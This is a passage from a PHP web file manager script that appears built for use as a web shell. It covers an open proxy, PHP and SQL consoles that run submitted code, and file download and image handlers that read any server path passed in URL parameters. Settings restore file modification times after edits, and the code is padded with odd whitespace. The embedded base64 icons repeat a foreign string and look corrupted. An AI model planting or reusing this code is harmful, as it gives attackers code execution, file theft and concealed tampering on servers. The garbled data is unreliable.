                                   
	                 	                 	                 $fgc = file_get_contents(__FILE__);

	                 	                 	                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
                                 
	                 	                 	                 if (!empty($matches[1])) {
                                                            
	                 	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
	                 	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 	                 ${$lng_tpl.'_templates'} = $fm_php;
	                 	                 	                 	                 	                 $msg .= __('File updated');
                                     
	                 	                 	                 	                 } else $msg .= __('Error occurred');
                                                     
	                 	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 	                 }	                 

	                 	                 } else $msg .= __('Error occurred');
                                
	                 }
}

// Just show image
if (isset($_GET['img'])) {
	                 $file=base64_decode($_GET['img']);
                                                                                  
	                 if ($info=getimagesize($file)){

	                 	                 switch  ($info[2]){	                 //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

	                 	                 	                 case 1: $ext='gif'; break;

	                 	                 	                 case 2: $ext='jpeg'; break;

	                 	                 	                 case 3: $ext='png'; break;

	                 	                 	                 case 6: $ext='bmp'; break;

	                 	                 	                 default: die();
	                 	                 }
	                 	                 header("Content-type: image/$ext");

	                 	                 echo file_get_contents($file);

	                 	                 die();

	                 }
}


                                                   
// Just download file

if (isset($_GET['download'])) {

	                 $file=base64_decode($_GET['download']);
	                 fm_download($file);	                 

}



// Just show info
if (isset($_GET['phpinfo'])) {
                                   
	                 phpinfo(); 

	                 die();

}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
                                                                                           
	                 $url = isset($_GET['url'])?urldecode($_GET['url']):'';
                                                         
	                 $proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	                 <form action="" method="GET">

	                 <input type="hidden" name="proxy" value="true">

	                 '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	                 <input type="submit" value="'.__('Show').'" class="fm_input">
                                               
	                 </form>

</div>
                          
';

	                 if ($url) {
	                 	                 $ch = curl_init($url);

	                 	                 curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

	                 	                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

	                 	                 curl_setopt($ch, CURLOPT_HEADER, 0);
	                 	                 curl_setopt($ch, CURLOPT_REFERER, $url);

	                 	                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

	                 	                 $result = curl_exec($ch);
                              
	                 	                 curl_close($ch);
	                 	                 //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
                                        
	                 	                 $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
	                 	                 $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

	                 	                 echo $result;
                                                        
	                 	                 die();
                                                                                        
	                 } 
}

?>
                                    
<!doctype html>

<html>
<head>     
                                       
	                 <meta charset="utf-8" />

	                 <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>

<style>
                                                
body {

	                 background-color:	                 white;

	                 font-family:	                 	                 Verdana, Arial, Helvetica, sans-serif;
	                 font-size:	                 	                 	                 8pt;
                                                     
	                 margin:	                 	                 	                 	                 0px;

}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }
                                               
a.th:link { color: #FFA34F; text-decoration: none; }
                                                                                  
a.th:active { color: #FFA34F; text-decoration: none; }
                                                                                             
a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
                                                                    
	                 background-color: #ACBBC6
}
                                                                   


th, td { 
	                 font:	                 normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 padding: 3px;

}

th	                 {
	                 height:	                 	                 	                 	                 25px;
                                                                     
	                 background-color:	                 #006699;

	                 color:	                 	                 	                 	                 #FFA34F;
	                 font-weight:	                 	                 bold;

	                 font-size:	                 	                 	                 11px;
}
                                                                                         

                                       
.row1 {

	                 background-color:	                 #EFEFEF;

}
                                 

.row2 {
                                                                                           
	                 background-color:	                 #DEE3E7;
}
                                                  


.row3 {
                                   
	                 background-color:	                 #D1D7DC;

	                 padding: 5px;
}


                                                       
tr.row1:hover {

	                 background-color:	                 #F3FCFC;
}

                                                                  
tr.row2:hover {

	                 background-color:	                 #F0F6F6;
}


                                                                     
.whole {
                              
	                 width: 100%;
}
                         


.all tbody td:first-child{width:100%;}

                                                                        
textarea {

	                 font: 9pt 'Courier New', courier;

	                 line-height: 125%;
                                                                                         
	                 padding: 5px;

}



.textarea_input {

	                 height: 1em;

}



.textarea_input:focus {

	                 height: auto;
                                                                                 
}



input[type=submit]{

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                       
}



.folder {
                                         
    background-image: url("data:image/png;base64,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");

}
                         

                                                                            
.file {
                          
    background-image: url("data:image/png;base64,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");

}
<?=fm_home_style()?>
.img {
                                                  
	                 background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWc8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
                                                      
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
                                             
	                 #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                                                                 
	                 #header_table table td {display:inline;float:left;}

}

</style>

</head>
<body>
                                     
<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){

	                 $res = empty($_POST['sql']) ? '' : $_POST['sql'];
                                                                                        
	                 $res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	                 $res = empty($_POST['php']) ? '' : $_POST['php'];
                                      
	                 $res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {
                                                                                      
	                 echo ' 

<table class="whole">
                                                                                  
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
                                                                                                  
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
                          
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
                                                                                             
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                            
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
                                       
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
                                                                                             
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>

</table>
                                                              
<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
                                                                                          
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
                     
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>

</table>';
                                                                          
echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	                 die($proxy_form);
} elseif (isset($res_lng)) {	                 

?>
<table class="whole">
<tr>
                                                                                              
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                   
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	                 if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	                 else echo '</h2></td><td>'.fm_run_input('sql');

	                 ?></td></tr></table></td>
</tr>
<tr>

    <td class="row1">

	                 	                 <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
	                 	                 <form action="" method="POST" name="console">

	                 	                 <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

	                 	                 <input type="reset" value="<?=__('Reset')?>">

	                 	                 <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){
                        
	                 $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
